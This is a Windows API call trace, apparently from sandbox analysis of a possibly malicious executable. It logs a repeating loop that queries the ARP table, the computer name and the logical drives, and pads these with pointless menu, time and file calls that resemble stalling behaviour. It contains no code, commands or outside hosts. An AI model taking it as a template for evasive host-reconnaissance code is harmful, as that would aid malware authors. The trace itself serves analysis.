	[0050.230] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.231] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30be9b8
	[0050.231] GetIpNetTable (in: IpNetTable=0x30be9b8, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30be9b8, SizePointer=0xf3d4ac) returned 0x0
	[0050.231] AppendMenuW (hMenu=0x0, uFlags=0x80241e68, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.231] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.231] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.231] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.231] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.231] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.232] SetErrorMode (uMode=0x1) returned 0x1
	[0050.232] GetLogicalDrives () returned 0x4
	[0050.232] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.232] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30c3cd8
	[0050.232] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.232] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.232] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.232] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30bce38
	[0050.232] GetIpNetTable (in: IpNetTable=0x30bce38, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30bce38, SizePointer=0xf3d4ac) returned 0x0
	[0050.233] AppendMenuW (hMenu=0x0, uFlags=0x8025201c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.233] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.233] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.233] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.233] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.233] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.233] SetErrorMode (uMode=0x1) returned 0x1
	[0050.233] GetLogicalDrives () returned 0x4
	[0050.233] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.233] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30c24c0
	[0050.233] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.233] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.233] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.233] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30d0810
	[0050.233] GetIpNetTable (in: IpNetTable=0x30d0810, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30d0810, SizePointer=0xf3d4ac) returned 0x0
	[0050.234] AppendMenuW (hMenu=0x0, uFlags=0x8025faa8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.234] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.234] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.234] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.234] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.234] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.234] SetErrorMode (uMode=0x1) returned 0x1
	[0050.234] GetLogicalDrives () returned 0x4
	[0050.234] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.234] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30c2cc8
	[0050.234] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.234] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.234] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.234] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30cf1b8
	[0050.235] GetIpNetTable (in: IpNetTable=0x30cf1b8, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30cf1b8, SizePointer=0xf3d4ac) returned 0x0
	[0050.235] AppendMenuW (hMenu=0x0, uFlags=0x8026fc5c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.235] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.235] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.235] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.235] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.235] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.235] SetErrorMode (uMode=0x1) returned 0x1
	[0050.235] GetLogicalDrives () returned 0x4
	[0050.236] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.236] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30bfc98
	[0050.236] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.236] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.236] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.236] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30cfdc0
	[0050.236] GetIpNetTable (in: IpNetTable=0x30cfdc0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30cfdc0, SizePointer=0xf3d4ac) returned 0x0
	[0050.236] AppendMenuW (hMenu=0x0, uFlags=0x8027d6e8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.236] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.236] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.237] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.237] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.237] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.237] SetErrorMode (uMode=0x1) returned 0x1
	[0050.237] GetLogicalDrives () returned 0x4
	[0050.237] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.237] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30c6d08
	[0050.237] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.237] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.237] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.237] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30cf370
	[0050.237] GetIpNetTable (in: IpNetTable=0x30cf370, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30cf370, SizePointer=0xf3d4ac) returned 0x0
	[0050.238] AppendMenuW (hMenu=0x0, uFlags=0x8028d89c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.238] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.238] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.238] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.238] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.238] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.238] SetErrorMode (uMode=0x1) returned 0x1
	[0050.238] GetLogicalDrives () returned 0x4
	[0050.238] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.238] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30c7510
	[0050.238] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.238] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.238] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.238] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30d09c8
	[0050.238] GetIpNetTable (in: IpNetTable=0x30d09c8, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30d09c8, SizePointer=0xf3d4ac) returned 0x0
	[0050.239] AppendMenuW (hMenu=0x0, uFlags=0x8029b328, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.239] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.239] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.239] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.239] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.239] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.239] SetErrorMode (uMode=0x1) returned 0x1
	[0050.239] GetLogicalDrives () returned 0x4
	[0050.239] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.239] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30c7d18
	[0050.239] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.239] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.239] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.240] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30cec90
	[0050.240] GetIpNetTable (in: IpNetTable=0x30cec90, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30cec90, SizePointer=0xf3d4ac) returned 0x0
	[0050.240] AppendMenuW (hMenu=0x0, uFlags=0x8029b4dc, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.240] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.240] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.240] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.240] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.241] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.241] SetErrorMode (uMode=0x1) returned 0x1
	[0050.241] GetLogicalDrives () returned 0x4
	[0050.241] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.241] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30c04a0
	[0050.241] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.241] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.241] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.241] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30cf6e0
	[0050.241] GetIpNetTable (in: IpNetTable=0x30cf6e0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30cf6e0, SizePointer=0xf3d4ac) returned 0x0
	[0050.242] AppendMenuW (hMenu=0x0, uFlags=0x802a8f68, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.242] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.242] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.242] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.242] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.242] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.242] SetErrorMode (uMode=0x1) returned 0x1
	[0050.242] GetLogicalDrives () returned 0x4
	[0050.242] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.242] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30cad48
	[0050.242] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.242] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.242] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.242] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30cff78
	[0050.242] GetIpNetTable (in: IpNetTable=0x30cff78, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30cff78, SizePointer=0xf3d4ac) returned 0x0
	[0050.243] AppendMenuW (hMenu=0x0, uFlags=0x802b911c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.243] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.243] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.243] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.243] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.312] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.313] SetErrorMode (uMode=0x1) returned 0x1
	[0050.313] GetLogicalDrives () returned 0x4
	[0050.313] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.313] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30c8520
	[0050.313] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.313] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.313] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.313] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30d02e8
	[0050.313] GetIpNetTable (in: IpNetTable=0x30d02e8, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30d02e8, SizePointer=0xf3d4ac) returned 0x0
	[0050.314] AppendMenuW (hMenu=0x0, uFlags=0x802c6ba8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.314] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.314] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.314] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.314] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.314] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.314] SetErrorMode (uMode=0x1) returned 0x1
	[0050.314] GetLogicalDrives () returned 0x4
	[0050.314] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.314] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30ccd68
	[0050.314] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.314] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.314] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.314] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30cee48
	[0050.314] GetIpNetTable (in: IpNetTable=0x30cee48, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30cee48, SizePointer=0xf3d4ac) returned 0x0
	[0050.315] AppendMenuW (hMenu=0x0, uFlags=0x802d6d5c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.315] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.315] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.315] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.315] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.315] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.315] SetErrorMode (uMode=0x1) returned 0x1
	[0050.315] GetLogicalDrives () returned 0x4
	[0050.316] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.316] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30ca540
	[0050.316] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.316] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.316] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.316] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30cf528
	[0050.316] GetIpNetTable (in: IpNetTable=0x30cf528, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30cf528, SizePointer=0xf3d4ac) returned 0x0
	[0050.316] AppendMenuW (hMenu=0x0, uFlags=0x802e47e8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.316] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.317] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.317] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.317] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.317] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.317] SetErrorMode (uMode=0x1) returned 0x1
	[0050.317] GetLogicalDrives () returned 0x4
	[0050.317] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.317] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30cb550
	[0050.317] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.317] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.317] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.317] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30cf898
	[0050.317] GetIpNetTable (in: IpNetTable=0x30cf898, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30cf898, SizePointer=0xf3d4ac) returned 0x0
	[0050.318] AppendMenuW (hMenu=0x0, uFlags=0x802f499c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
